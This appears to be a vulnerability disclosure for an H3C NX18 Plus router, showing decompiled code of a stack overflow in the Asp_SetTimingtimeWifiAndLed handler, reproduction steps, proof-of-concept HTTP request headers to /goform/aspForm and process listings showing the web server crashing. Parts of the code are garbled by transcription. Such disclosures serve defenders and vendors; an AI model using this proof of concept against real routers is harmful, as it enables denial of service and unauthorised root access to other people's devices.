

# stack overflow vulnerability

### Overview

- Manufacturer's website information: https://www.h3c.com/
- Firmware download address: https://www.h3c.com/cn/d\_202103/1389284\_30005\_0.htm

#### **Product Information**

H3C NX18 Plus NX18PV100R003 router, the latest version of simulation overview:



## **Vulnerability details**

The H3C NX18 Plus NX18PV100R003 router was found to have a stack overflow vulnerability in the Asp\_SetTimingtimeWifiAndLed function. An attacker can obtain a stable root shell through a carefully constructed payload.

```
23
      char v22[32]] // [sp+18h] [-50h] BYREF
  24 int v23; // [sp+38h] [-30h] BYREF
   25 int v24; // [sp+3Ch] [-2Ch]
  26 int v25; // [sp+40h] [-28h]
  27 int v26; // [sp+44h] [-24h]
  28 int v27; // [sp+48h] [-20h]
  29 int v28; // [sp+4Ch] [-1Ch] BYREF
  30 char v29[8]; // [sp+50h] [-18h]
31 int v30; // [sp+58h] [-10h]
      int v31; // [sp+5Ch] [-Ch]
  33 int v32; // [sp+60h] [-8h]
  34 int v33; // [sp+64h] [-4h]
  35
36 v29[0] = 1;
9 37
      V29[1] = 2;
38 v29[2] = 3;
9 39
       \vee28 = 0;
40 v1 = (const char *)websgetvar(a1, "param",
41
       if (!v1)
 42
       return -2;
       memse (v22, 0, sizeof(v22));
sscanf(v1, "%[^;];", v22);
  43
 44
9 45
        /2 = strlen(V22);
9 46
      v3 = &v1[v2 + 1];
      v4 = strncmp("timerange", v22, v2);
47
```

In the Asp\_SetTimingtimeWifiAndLed function, the param we entered is formatted using the sscanf function and in the form of %[^;]; . This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V22, it will cause a stack overflow.

## Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

- 1. Boot the firmware by gemu-system or other ways (real machine)
- 2. Attack with the following POC attacks

```
POST /goform/aspForm HTTP/1.1
Host: 192.168.124.1:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101
Firefox/102.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.
Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2
Accept-Encoding: gzip, deflate
Referer: https://121.226.152.63:8443/router password mobile.asp
Content-Type: application/x-www-form-urlencoded
Content-Length: 536
Origin: https://192.168.124.1:80
DNT: 1
Connection: close
Cookie: LOGIN_PSD_REM_FLAG=0; PSWMOBILEFLAG=true
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
```


The picture above shows the process information before we send poc.

```
1672 *root 556 S mapd -I /mnt/map/mapd_cfg -0/mnt/map/mapd_strng.conf
1685 *root 724 S dnsmasq -r /etc/resolv.conf -n -c 500
1729 *root SW [kworker/2:1]
1793 *root 820 S /bin/dhcpd -d -q br0
1842 *root 1692 S upnpd /var/run/upnp_385875969 br0 WAN1
2245 *root SW [kworker/0:1]
2270 *root SW [kworker/1:1]
2543 *root SW [kworker/3:1]
2550 *root SW [kworker/2:2]
2649 *root SW [kworker/0:0]
2797 *root SW [kworker/u8:0]
3091 *root 756 S -mwcli
3094 *root 1552 S /bin/sh
3111 *root 4340 S /bin/webs &
3115 *root 764 R ps
26984 *root 1036 S telnetd
/ #
```

In the picture above, we can see that the PID has changed since we sent the POC.



The picture above is the log information.



By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell without authorization.